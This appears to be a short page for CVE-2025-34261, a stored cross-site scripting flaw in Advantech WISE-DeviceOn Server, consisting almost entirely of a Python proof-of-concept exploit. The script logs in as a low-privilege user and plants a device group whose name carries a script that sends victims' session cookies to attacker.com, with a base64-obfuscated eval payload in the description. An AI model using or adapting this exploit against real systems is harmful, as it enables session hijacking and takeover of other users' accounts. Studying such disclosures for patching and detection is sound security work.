CVE-2025-34261: Advantech WISE-DeviceOn Server 存储型XSS漏洞

import requests import json # CVE-2025-34261 PoC - Advantech WISE-DeviceOn Server Stored XSS # Target: /rmm/v1/devicegroups/ endpoint TARGET_URL = "https://target-server.com" LOGIN_URL = f"{TARGET_URL}/rmm/v1/auth/login" DEVICE_GROUPS_URL = f"{TARGET_URL}/rmm/v1/devicegroups/" # XSS Payload - Cookie Stealer XSS_PAYLOAD_NAME = "<script>fetch('https://attacker.com/log?c='+document.cookie)</script>" XSS_PAYLOAD_DESC = "<img src=x onerror='eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="))')>" def exploit(): """ Exploitation steps: 1. Authenticate with low-privilege credentials 2. Create device group with XSS payload in name/description 3. Payload stored and executed when other users view device groups """ session = requests.Session() # Step 1: Login with low-privilege user login_data = { "username": "attacker_user", "password": "attacker_password" } login_response = session.post(LOGIN_URL, json=login_data) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Create device group with XSS payload device_group_data = { "name": XSS_PAYLOAD_NAME, "description": XSS_PAYLOAD_DESC, "devices": [] } create_response = session.post(DEVICE_GROUPS_URL, json=device_group_data) if create_response.status_code in [200, 201]: print("[+] Malicious device group created successfully") print(f"[+] Payload will execute when other users view device groups") return True else: print(f"[-] Failed to create device group: {create_response.status_code}") return False if __name__ == "__main__": exploit()